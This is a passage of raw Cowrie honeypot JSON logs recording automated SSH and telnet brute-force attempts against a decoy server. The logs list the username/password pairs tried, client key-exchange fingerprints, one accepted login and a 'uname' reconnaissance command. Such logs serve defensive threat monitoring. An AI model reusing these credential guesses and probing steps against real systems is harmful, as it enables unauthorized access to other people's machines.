CS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:07.008543Z","src_ip":"165.154.137.186","session":"e21b56b55628","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lordlord","message":"login attempt [root/lordlord] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:07.123241Z","src_ip":"89.223.69.22","session":"9b84d6e265a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser","message":"login attempt [testuser/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:07.804718Z","src_ip":"165.154.137.186","session":"e21b56b55628","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:08.233402Z","src_ip":"89.223.69.22","session":"9b84d6e265a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:09.074650Z","src_ip":"165.154.137.186","session":"e21b56b55628","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":45102,"dst_ip":"10.17.0.5","dst_port":22,"session":"779db551cfa9","protocol":"ssh","message":"New connection: 165.154.137.186:45102 (10.17.0.5:22) [session: 779db551cfa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:10.325672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:10.329671Z","src_ip":"165.154.137.186","session":"779db551cfa9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:10.598333Z","src_ip":"165.154.137.186","session":"779db551cfa9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"redhat","message":"login attempt [root/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:11.399023Z","src_ip":"165.154.137.186","session":"779db551cfa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:12.668852Z","src_ip":"165.154.137.186","session":"779db551cfa9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":47978,"dst_ip":"10.17.0.5","dst_port":22,"session":"86c993b2578e","protocol":"ssh","message":"New connection: 165.154.137.186:47978 (10.17.0.5:22) [session: 86c993b2578e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:21.943151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:21.946760Z","src_ip":"165.154.137.186","session":"86c993b2578e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:22.210437Z","src_ip":"165.154.137.186","session":"86c993b2578e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321","message":"login attempt [root/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:23.006272Z","src_ip":"165.154.137.186","session":"86c993b2578e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":24.88659405708313,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:23.423626Z","src_ip":"170.64.224.25","session":"a5ff691f8329","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:24.272120Z","src_ip":"165.154.137.186","session":"86c993b2578e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.209","src_port":38706,"dst_ip":"10.17.0.5","dst_port":22,"session":"132af684443d","protocol":"ssh","message":"New connection: 2.57.122.209:38706 (10.17.0.5:22) [session: 132af684443d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:27.619382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:28.012640Z","src_ip":"2.57.122.209","session":"132af684443d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:28.015108Z","src_ip":"2.57.122.209","session":"132af684443d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":59120,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb58df0b9855","protocol":"ssh","message":"New connection: 165.154.137.186:59120 (10.17.0.5:22) [session: bb58df0b9855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:29.789765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:29.793614Z","src_ip":"165.154.137.186","session":"bb58df0b9855","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123qwe","message":"login attempt [admin/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:29.864618Z","src_ip":"2.57.122.209","session":"132af684443d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:30.062015Z","src_ip":"165.154.137.186","session":"bb58df0b9855","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123","message":"login attempt [root/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:30.959287Z","src_ip":"165.154.137.186","session":"bb58df0b9855","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:31.253233Z","src_ip":"2.57.122.209","session":"132af684443d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:32.230137Z","src_ip":"165.154.137.186","session":"bb58df0b9855","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":79.47843527793884,"message":"Connection lost after 79 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:33.064420Z","src_ip":"128.199.209.169","session":"734cf10901fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":49022,"dst_ip":"10.17.0.5","dst_port":22,"session":"0634f5f4d486","protocol":"ssh","message":"New connection: 165.154.137.186:49022 (10.17.0.5:22) [session: 0634f5f4d486]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:33.132003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:33.135157Z","src_ip":"165.154.137.186","session":"0634f5f4d486","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:33.396626Z","src_ip":"165.154.137.186","session":"0634f5f4d486","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":49036,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a2587dd0331","protocol":"ssh","message":"New connection: 165.154.137.186:49036 (10.17.0.5:22) [session: 6a2587dd0331]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:34.091521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:34.095104Z","src_ip":"165.154.137.186","session":"6a2587dd0331","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:34.182754Z","src_ip":"165.154.137.186","session":"0634f5f4d486","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:34.366114Z","src_ip":"165.154.137.186","session":"6a2587dd0331","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:34.746346Z","src_ip":"165.154.137.186","session":"0634f5f4d486","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:34.748807Z","src_ip":"165.154.137.186","session":"0634f5f4d486","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:35.012925Z","src_ip":"165.154.137.186","session":"0634f5f4d486","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:35.016732Z","src_ip":"165.154.137.186","session":"0634f5f4d486","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:35.172358Z","src_ip":"165.154.137.186","session":"6a2587dd0331","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:36.443446Z","src_ip":"165.154.137.186","session":"6a2587dd0331","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":49038,"dst_ip":"10.17.0.5","dst_port":22,"session":"0daf697ac178","protocol":"ssh","message":"New connection: 165.154.137.186:49038 (10.17.0.5:22) [session: 0daf697ac178]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:37.955580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:37.959459Z","src_ip":"165.154.137.186","session":"0daf697ac178","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:38.223796Z","src_ip":"165.154.137.186","session":"0daf697ac178","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins","message":"login attempt [jenkins/jenkins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:39.014666Z","src_ip":"165.154.137.186","session":"0daf697ac178","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:40.281581Z","src_ip":"165.154.137.186","session":"0daf697ac178","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":44542,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2297a6ac963","protocol":"ssh","message":"New connection: 165.154.137.186:44542 (10.17.0.5:22) [session: e2297a6ac963]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:42.691005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:03:42.694748Z","src_ip":"165.154.137.186","session":"e2297a6ac963","protocol":"ssh"}
